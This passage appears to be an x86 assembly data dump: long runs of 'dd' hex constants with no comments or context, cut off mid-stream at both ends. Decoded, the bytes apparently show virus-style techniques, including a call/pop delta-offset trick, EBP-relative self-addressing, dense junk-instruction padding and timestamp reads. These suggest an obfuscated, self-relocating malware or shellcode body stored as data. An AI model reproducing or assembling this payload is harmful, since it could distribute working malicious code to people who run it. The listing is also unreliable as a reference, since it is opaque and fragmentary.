0C083B1h, 0D03BFE8Bh dd 14830Fh, 810F0000h, 6, 6F18D89h, 41E9061Bh, 66000000h dd 8D8BFE8Bh, 61B1941h, 68D0Fh, 66570000h, 5B028ABBh, 0F01E183h dd 2384h, 41A58300h, 0FE061B19h, 0C79BD8Bh, 9589061Bh dd 61B3001h, 6E9h, 5528D200h, 0E9AEE87Bh, 0 dd 0DC8AB58Dh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 95E2B2C3h, 5BCD9275h, 19D8BD4h dd 0F061B07h, 389h, 0F88B6600h, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0BB54C3C3h dd 24FE795h, 220595FFh, 8D01061Bh, 61B24D9h, 0AEFB9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 63F7FE99h, 0B94CF075h, 8A0F7305h, 6, 1A6D9589h, 0E183061Bh dd 0BE860FCh, 57000000h, 0B9399B49h, 3CDCFD68h, 0B70F7C2Fh dd 0C78B5FCEh, 6AFC61h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 881F92C3h, 6A31BF9Fh, 0BA3ABF80h dd 0C02B0326h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0CEC35545h, 0BAh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0E38166D0h dd 33AD095Bh, 3E8D1C2h, 4E983D0h, 6AF475h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 3656A7C3h dd 80520C9Bh, 0D5B9BE7h, 88h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 9BC35646h, 8B60535Fh, 1B21F5B5h dd 798D8906h, 61061B25h, 29958B5Fh, 89061B24h, 1B31398Dh dd 658D8B06h, 6A061B07h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0E89BC352h, 0BDB643CEh dd 0E1958991h, 57061B0Eh, 5BF9B70Fh, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 0BD895818h, 61B140Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 51C35646h, 39A48E8Bh dd 1FDBD8Bh, 0B529061Bh, 61B00E5h, 1769BD83h, 0F00061Bh dd 7884h, 6840F00h, 9000000h, 1B10758Dh, 6850F06h, 8B000000h dd 1B084DBDh, 0B806h, 830F0000h, 0 dd 4CD38D8Dh, 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0C3812DC3h, 17ED9230h, 0FE9h, 47A2F500h dd 7D3FD91Bh, 1C15EAC7h, 0F3D6602h, 23B18D09h, 0E1FF061Bh dd 24098D89h, 8160061Bh, 0F3CC38C2h, 0FA8B6626h, 0D1BD8361h dd 61B13h, 473840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 74E65C3h, 0F9853EEh dd 68Bh, 2D8D2900h, 83061B2Dh, 1B13D1BDh, 840F0106h, 454h dd 0FE9h, 725F9400h, 0EC65456Bh, 27C9D8A2h, 7F4F41F4h dd 13D1BD83h, 0F03061Bh, 3FD86h, 60F88B00h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 9CC35242h, 1D958957h dd 66061B00h, 0DC8AD98Ch, 820Fh, 0E1800000h, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 3CE014BFh, 63BEB273h, 0FA8B6672h, 0A91E5EBBh, 0FC90A60h dd 0DB84h, 60D98B00h, 0BA45BE66h, 61F1BF0Fh, 145858Bh dd 0BB53061Bh, 35D115F1h, 3185335Bh, 6A061B2Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 596CC355h, 8F9DA378h, 0BF665090h, 4897739h, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 76B82558h, 0BD89006Ah, 61B0A01h, 7B9BD568h, 0DE850h dd 9EB0000h, 90A9E7FEh, 0F572C3Ah, 663CC39Dh, 5F0CE6BFh dd 2A243481h, 6A506498h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 9879C350h, 0F0A8E50Eh dd 870FC459h, 6, 23959589h, 95FF061Bh, 61B3235h, 0AD998589h dd 8B66061Eh, 206E9D8h, 0BD310000h, 61B17ADh, 0AD91858Bh dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 636BD0C3h, 0B7027F49h, 0C7B903EEh, 1800h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 35C8B439h, 8BE2636Eh, 1EAD95B5h, 0ADBD0906h dd 8B061B0Ch, 1B122985h, 0A1858906h, 89061B0Ah, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 3AAA6B09h, 9E99Eh, 0C830000h, 2A19393Bh, 0E8D476C1h dd 6, 98A55684h, 800F316Ah, 0 dd 45858B5Bh, 6A061B01h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 4016C357h, 0BEA7E20h dd 1B03C99Dh, 4468906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 0C5C35747h, 42AF8BC0h, 0F0C4726Eh, 14E850h dd 0B35E0000h, 931E142Dh, 2D6632E1h, 57DC569h, 4B7BEE7Fh dd 0DE8A0930h, 2434895Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0F5C35343h, 570E5AC9h, 0A4FF44F1h, 0FFDD8AD8h dd 1EAD91B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0FBBF0FD4h, 69D58668h, 8B666036h dd 7EBF66D7h, 348161F8h, 76D67924h, 6E836h, 7A570000h dd 27E02590h, 29BD8589h, 8D5B061Bh, 1EAD9985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 2C214ED7h, 0B501C424h, 61B02D1h, 0E9605090h, 5, 958B36C6h dd 0E9525064h, 0Dh, 0CA353CA2h, 841F3E77h, 87A39A34h, 50310FDBh dd 61585A59h, 3850BB90h, 0D3812CCCh, 10E37F13h, 323595FFh dd 0D781061Bh, 4C9DBA60h, 57006A61h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0D185C754h dd 3061B13h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0D003C350h, 1AE9261Fh dd 9D233517h, 61B17E5h, 0AD99BD83h, 0F00061Eh, 5D84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 5087D206h, 0AD9D8B80h, 0E9061B32h, 4Dh, 2C8F0Fh, 0EE80000h dd 27000000h, 1C81E814h, 9A224FCEh, 388FB541h, 13E92Eh dd 3DEC0000h, 35A07B4Dh, 0BCB8BBD6h, 9C3FB2DAh, 97F28A5Fh dd 30505FEAh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 8E9C0h, 847A0000h, 91750A21h, 6A0BFDh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 2D466C3h, 4216E0EEh, 0A6DB800Fh, 0EE8h, 0F8005600h dd 5E2C53E2h, 6734CFD2h, 5B655C1Eh, 13D1BD83h, 0F03061Bh dd 44F85h, 419D8B00h, 83061B07h, 1EAD99BDh, 840F0006h dd 43Ch, 29AD9501h, 0B5FF061Bh, 61EAD99h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 63C35141h, 67E99D6Dh dd 0CDD67F7Dh, 3D8D8957h, 0BB061B24h, 272700FEh, 0FFFA8B66h dd 1B011195h, 47DB8006h, 0AD8DB58Bh, 6A061Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 9DB3CEC3h dd 2951055Fh, 1B21E585h, 820F5F06h, 0 dd 2B9D9D8Bh, 6C7061Bh, 10001h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 98C35242h, 39E4FD80h, 0B589577Ch dd 61B1269h, 0E957505Fh, 0Ah, 0B231574Eh, 1F5AB0C4h, 895F65C0h dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 4B1CECC3h, 0FF314403h, 1EAD99B5h, 13E906h dd 3FAA0000h, 3EE7BD44h, 0CBD7FA0Fh, 3DB1494Dh, 0EE035520h dd 0C995FF77h, 57061B1Bh, 0BB99D8Bh, 8B5F061Bh, 8DB58BDEh dd 2B061EADh, 1B1F49BDh, 99B58906h, 8B061B06h, 1B0D2585h dd 9E906h, 800F0000h, 0A81DBD8Ah, 8B32E518h, 0C48689D8h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 1A66C356h, 9C3546DEh, 0B589506Dh dd 61B03FDh, 0DE99D01h, 9D01061Bh, 61B0701h, 2429958Bh dd 6A061Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0ED65ACC3h, 60B4A270h, 0E9595360h, 9, 0C6AF0F19h dd 342CD1FBh, 816661C2h, 61113FF3h, 0AE9h, 6ACCE100h, 0EBA4F09Dh dd 8314DC55h, 6A04C2h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 33F5E5C3h, 619D03BCh, 89061B06h dd 81662050h, 8DB22AEFh, 1EC0C785h, 8689F806h, 0B8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 72C35646h, 0BF668512h dd 6AF127h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 73C35747h, 0D380339Ch, 11E84Eh, 0EF930000h, 0ED1DA093h dd 0C7D2298h, 3219B1EDh, 66F385CEh, 0FF5FDF8Bh, 1EAD99B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 2178F75Dh, 1FD1CC36h, 0FFFBB70Fh, 1B142D95h dd 10E806h, 6F400000h, 0B820AA09h, 1EDE222Bh, 3F3836B5h dd 0BD292CC2h, 61B2AC5h, 0B353505Bh, 34895F19h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 87C41763h, 4BFF71A2h, 0B5FFBFE4h, 61EAD99h, 9195FFFCh dd 6A061B1Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 6C60C350h, 68F0Fh, 0B5890000h dd 61B0C0Dh, 0C81BD83h, 0F00061Bh, 3184h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 80F83E66h, 0E2C20D1Dh, 8B967645h, 8B6650D9h, 0BF6696F9h dd 0B5FF4400h, 61EAD99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 44C35747h, 0FE5795B4h, 0A5C74E25h, 0BD595FFh dd 9D8B061Bh, 61B2F8Dh, 6880Fh, 0BD290000h, 61B1979h, 0AD99B5FFh dd 850F061Eh, 0Bh, 0E99D8B60h, 0F061B1Eh, 8961FFB7h, 1B1CBDB5h dd 995FF06h, 0E8061B1Ah, 13h, 21CA87DCh, 93693310h, 0FB1F3BBAh dd 6B09BE18h, 339E3AAAh, 1B1B8D9Dh, 0BD835F06h, 61B07A5h dd 46840F02h, 3000000h, 1B0AC9BDh, 31858B06h, 0E9061B30h dd 13h, 299EF79h, 62449EC1h, 1DA7F198h, 0D61C29DAh, 0C638449Ch dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 852A65C3h, 0D585C7D7h, 61B2Bh, 66000000h dd 0BD89F88Bh, 61B1CCDh, 0FFF2E3E9h, 56006AFFh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 9A3C3AAh, 1B29458Dh dd 66C18B06h, 8D071BBFh, 1B32ED85h, 95096006h, 61B25F9h dd 0DE9h, 0BE38FF00h, 51F969A9h, 0F707DDD0h, 5061B4C2h dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 2260C357h, 8C0F3975h, 6, 2501B589h dd 6A061Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 29C35747h, 8B463D67h, 6A006AFEh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 3EABC351h dd 2EE1B7EBh, 0FA8B663Fh, 16D98D89h, 858D061Bh, 61F607Eh dd 0F4DF8166h, 99D8B31h, 83061B0Dh, 6A05C0h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 96C729C3h dd 66A0187Dh, 0DD5BE381h, 81905090h, 69C7D0F7h, 6A006A42h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 5449C355h, 0C9B589FDh, 6A061B12h, 9D9D8B00h dd 0FF061B29h, 1B1A0195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0A57A7A61h dd 8589D4B4h, 61B0A69h, 13199D0Bh, 8D8D061Bh, 61E92B7h dd 0BD83D1FFh, 61B1CD5h, 0E4850F01h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 674AC356h, 0AE957C4h, 49000000h, 99E6D8B9h, 0CB925BBh dd 6A026AE9h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0D82EC356h, 0D07E66C5h, 0FAB70FC0h dd 32119D8Bh, 12E9061Bh, 0C6000000h, 0F1DB99h, 0D28ED1CDh dd 82FDFEDFh, 0A27D100Bh, 525090FFh, 21B3BF53h, 0F5B25A3h dd 0C4BF6631h, 50585AEAh, 6A906160h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0ADDEC351h dd 39E9B783h, 95FFFC8Fh, 61B142Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 49C35141h, 0DF72AB62h, 8166E35Eh dd 8B1CC9C7h, 1B1681BDh, 199D8906h, 0E9061B17h, 0CD9h dd 0E8h, 0ED815D00h, 61F6088h, 0BE9BD8Bh, 0BB66061Bh, 858DF40Ah dd 61E853Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 2C35040h, 0B5095626h, 61B0C4Dh, 50DE8B90h, 6690FB8Bh dd 0FF64D98Bh, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 89ACB750h, 1B000DBDh dd 25896406h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 1AC35141h dd 0FFD79BAFh, 1B2B0D85h, 0FE8B6606h, 6AFF6Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 6526F3C3h, 19E1BD33h, 9D89061Bh, 61B0655h, 2549B5FFh dd 840F061Bh, 3, 0FFF98B66h, 1B080595h, 157E906h, 0B5010000h dd 61B24B1h, 858900B0h, 61B3179h, 296070E6h, 1B0B1195h dd 71E46106h, 758D8960h, 81061B31h, 2F7D20F6h, 613C6115h dd 127830Fh, 0EB70000h, 0BBC8B60Fh, 40209EBAh, 6BAh, 1890F00h dd 0F5000000h, 0FE9C18Bh, 81000000h, 0AC8A597Eh, 0EF6AB616h dd 0BE804340h, 0E8C10EA1h, 71858904h, 66061B07h, 840FE2F7h dd 0Eh, 819D8960h, 0F061B2Fh, 8Bh, 0C82B6100h, 8B50DF80h dd 9D8B60D1h, 61B2ED5h, 241D9589h, 0E961061Bh, 0Eh, 2ACDBD89h dd 2B53061Bh, 1B2AAD9Dh, 858B5B06h, 61B06ADh, 88BF6660h dd 0FDB58B6Eh, 61061B13h, 5307C083h, 0CDCBF66h, 0C0835Bh dd 0D03BF88Bh, 17830Fh, 9D890000h, 61B0B41h, 80E9h, 6820F00h dd 8B000000h, 1B12CDBDh, 418D8B06h, 23061B06h, 1B08719Dh dd 1E18306h, 5F840Fh, 0E8600000h, 14h, 0E8C2E340h, 19EFF9AFh dd 5F2C6250h, 87073DAh, 2D7C89D7h, 0D6DBD89h, 0F59061Bh dd 8361C2BFh, 1B0641A5h, 0DE9FE06h, 92000000h, 0EFE4BBD2h dd 1C609D1Ah, 0F0B87F7Fh, 6AD9589h, 11E9061Bh, 22000000h dd 3BD485A9h, 98F0E1A1h, 0F1D87ACFh, 234222E7h, 0E9h, 60B58D00h dd 8B061EE9h, 1B2151BDh, 6A006A06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 87B2C353h dd 0FF9E9C70h, 1B220595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 2085FD13h dd 8BB8270Dh, 8C1B9DAh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0BD8B9BC3h, 61B3239h dd 2EC59501h, 0E183061Bh, 50006AFCh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0FA8EC9E1h dd 66FBA440h, 2B4848BFh, 1B1D99BDh, 6AFC06h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E447AC3h dd 2B941399h, 1B19219Dh, 55858906h, 2B061B18h, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 81687DA6h, 2CEF99Ch, 17159D8Bh, 0BA061Bh, 0AD000000h dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 15F4C355h dd 376C7246h, 8B0F365Bh, 6, 0E098531h, 5F52061Bh, 820Fh dd 880D0000h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 2FE7C356h, 9C552BB1h dd 8A059C8Dh, 29958BF8h, 6A061B24h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 9A2EC350h dd 0F5B53145h, 8B061B24h, 1B03099Dh, 658D8B06h, 6A061B07h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 6561C357h, 50931940h, 10B18D29h, 505B061Bh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 198D0958h dd 6A061B1Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 4F6C352h, 48BC66E3h, 1E48201Ah dd 0D45BD8Bh, 9589061Bh, 61B1111h, 1769BD83h, 0F00061Bh dd 9684h, 0ED9D8B00h, 0B8061B1Ch, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0E3C35141h dd 395C3247h, 0A2228744h, 8D8DF87Eh, 61B4CD3h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 8EC35242h, 71026990h dd 0F74895Fh, 689h, 0A8C38100h, 895882ECh, 1B07B18Dh, 6AE1FF06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0D94AC356h, 4FFCA228h, 0A2BFFB00h, 836E1480h dd 1B13D1BDh, 840F0006h, 3ADh, 3A18BF66h, 32D8BF66h, 13D1BD83h dd 0F01061Bh, 3B384h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0FFB70FF0h, 13D1BD83h dd 0F03061Bh, 35186h, 6055B300h, 6840Fh, 0EB810000h, 79D372E4h dd 6800F50h, 8B000000h, 1B22319Dh, 8C665F06h, 56006AD9h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 357B6012h, 0EA1D77BFh, 0E180A5D3h, 0CD9D8904h, 0A061B03h dd 11840FC9h, 0B7000001h, 45858B8Dh, 6A061B01h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 31CDC353h, 31853388h, 6A061B2Ah, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BEAC350h dd 1B1911BDh, 0FD8A5006h, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0A6EDC356h dd 9C81687Dh, 30559D8Bh, 6A061Bh, 25319D89h, 4E8061Bh dd 0FF000000h, 56001F03h, 28A0Fh, 5F520000h, 840F505Fh dd 5, 9B13E1BFh, 24448B28h, 66008B04h, 89403EBBh, 8B042444h dd 6A58DFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0AF0878C3h, 95FF9019h, 61B3235h, 1CB59D29h dd 8589061Bh, 61EAD99h, 196E9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0D1DC80B1h dd 0BBF9248Fh, 735371CDh, 0AD91858Bh, 0BF66061Eh, 0C7E1BFh dd 18h, 0AD95B58Bh, 8BF9061Eh, 1B122985h, 0E2BB6606h, 6A0689BCh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0D2B3C353h, 0C494F932h, 22A780A2h, 145858Bh dd 0BF0F061Bh, 8B6053FAh, 1B2EB99Dh, 61585606h, 446895Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0BC35747h dd 0AA4C6BDBh, 8B403175h, 1B1981BDh, 50565006h, 5BF98B66h dd 2434895Fh, 0B5FFD88Bh, 61EAD91h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 37C35141h, 0EC3325B5h, 0BD890B70h dd 61B17C5h, 0F21A6368h, 8159B717h, 199C2434h, 6A17EDh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 60B61EC3h, 0C3BF0F50h, 919D295Eh, 61061B22h, 0AD99858Dh dd 6A061Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 5074BC3h, 0A8A0FFCh, 0E9000000h, 5, 628F7FECh dd 90BF5041h, 895E89EAh, 6A2404h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0C695DDC3h, 1E65BD8Bh dd 95FF061Bh, 61B3235h, 31119D8Bh, 9ABB061Bh, 6163D57Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0BFC35040h dd 0D8B70FF7h, 0F11B589h, 0B70F061Bh, 0D185C7D9h, 3061B13h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 0EA70C355h, 0A539AFA8h, 958941B1h dd 61B0255h, 0AD99BD83h, 0F00061Eh, 1184h, 0C99D8B00h dd 0E9061B22h, 21h, 10858589h, 3050061Bh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 8BDF8BC0h, 1B2939BDh dd 0D1BD8306h, 3061B13h, 3A2850Fh, 8B660000h, 99BD83DFh dd 61EADh, 392840Fh, 66600000h, 0CC7AF181h, 68A0Fh, 958B0000h dd 61B175Dh, 10E961h, 3B7D0000h, 975F9F68h, 7555DA71h dd 0E7CD6652h, 0B5FF314Eh, 61EAD99h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 92C35646h, 8DB2705Dh, 8C89C762h dd 1195FF6Bh, 89061B01h, 1B0E9995h, 8DB58B06h, 0E9061EADh dd 0Dh, 80864A00h, 0D7AAE69Bh, 7FA85A3Bh, 106C76Bh, 0F8000100h dd 6A965096h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0BF21C355h, 0A660983h, 1F219589h dd 0B5FF061Bh, 61EAD99h, 0FF66F380h, 1B1BC995h, 57EF8006h dd 0AD8DB58Bh, 6A061Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 9CC0A0C3h, 9BCA810Eh, 1EFDBD89h dd 858B061Bh, 61B0D25h, 0C48689h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 72A28EC3h dd 85B2F8B0h, 852960EFh, 61B00F9h, 292D9501h, 6061061Bh dd 2B1D8D03h, 8B61061Bh, 1B242995h, 83D88B06h, 895304C2h dd 1B0DB98Dh, 50895B06h, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0A7765225h, 89873788h dd 1B0A79B5h, 0C7858D06h, 6A061EC0h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 95C7C357h dd 6820FF8h, 8B000000h, 1B23B99Dh, 0C59D2906h, 89061B24h dd 0B886h, 95BD8B00h, 6A061B18h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 66B2103Ah dd 0B5FFDF8Bh, 61EAD99h, 11BDB531h, 95FF061Bh, 61B142Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 43C35343h dd 8166B316h, 508808D3h, 7735BB66h, 57243489h, 7E9h, 853B3800h dd 0CFEC209Eh, 99B5FF5Fh, 0F061EADh, 68Ah, 8BDF8100h, 0FF1BA0C8h dd 1B1B9195h, 8C0F06h, 83000000h, 1B0C81BDh, 840F0006h dd 47h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h dd 8FC35646h, 0BD8BED77h, 61B1D1Dh, 10A5B529h, 0F96061Bh dd 48Eh, 5F535700h, 6660505Fh, 4FBAF18Bh, 617A4BF7h, 0C5958996h dd 0FF061B18h, 1EAD99B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0EF2097C8h dd 0DC9F6FA6h, 0D595FFC6h, 8B061B0Bh, 1B2AAD9Dh, 99B5FF06h dd 6A061EADh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8B35C356h, 1B06219Dh, 995FF06h dd 0FC061B1Ah, 0D359D8Bh, 0BD83061Bh, 61B07A5h, 57840F02h dd 60000000h, 0EE9h, 0E0932F00h, 0B027D585h, 6DE89007h dd 318C8284h, 1B0CB9BDh, 858B6106h, 61B3031h, 3810Fh, 0B70F0000h dd 0F6BB66F9h, 0C6CEh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 84C35040h, 2956BAEFh, 1B2AF58Dh, 85C75F06h dd 61B2BD5h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 1AC35646h dd 0DD851848h, 712CBCAAh, 0DD9D8952h, 5B061B20h, 0FFF3EBE9h dd 7E8FFh, 594B0000h, 3EBAEC1Dh, 26EB80E4h, 0FC18B5Fh dd 887h, 28C0F00h, 60000000h, 0ED858D61h, 0BF061B32h, 4E4E547h dd 10B9BD01h, 0E950061Bh, 0Bh, 0F5AF94DAh, 0EC68F275h dd 8963CF57h, 9D892404h, 61B12F9h, 1B7D9D8Bh, 6A061Bh dd 0C58745BFh, 66006A7Ch, 858DD88Bh, 61F6F2Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 71C35646h, 0E805C083h dd 14h, 14F5CC9Ah, 470CEF66h, 19261D5h, 0E50CF554h, 0B307D3Eh dd 10A9BD8Bh, 505F061Bh, 6A240489h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 5EA3C353h dd 0B286DC5Fh, 247DBD2Bh, 6A061Bh, 7E8h, 4B87300h, 0CB6827BDh dd 6A5FF9h, 2D9FC781h, 95FF0498h, 61B1A01h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 52C35242h, 2D03C2F4h dd 37EF8124h, 8D602E3Eh, 1E92B78Dh, 0FF92B706h, 83DA8BD1h dd 1B1CD5BDh, 850F0106h, 0C6h, 23919589h, 26A061Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D7C35646h, 85B9CC1Eh dd 65BD33A4h, 89061B10h, 1B20E58Dh, 0BE806h, 85320000h dd 0F24A046Fh, 86A94557h, 66905B25h, 501498BFh, 52505250h dd 310FFA8Bh, 5ADA8B66h, 60310F58h, 61F88B66h, 6A90585Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 7D1CC351h, 0CF816656h, 0BE935F6h, 1B000000h dd 9D31281Eh, 6D11A745h, 95FFEAB3h, 61B142Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 5CC35747h, 3FAFFE01h dd 81BC95F3h, 0F059589h, 2AE9061Bh, 0E800000Dh, 0 dd 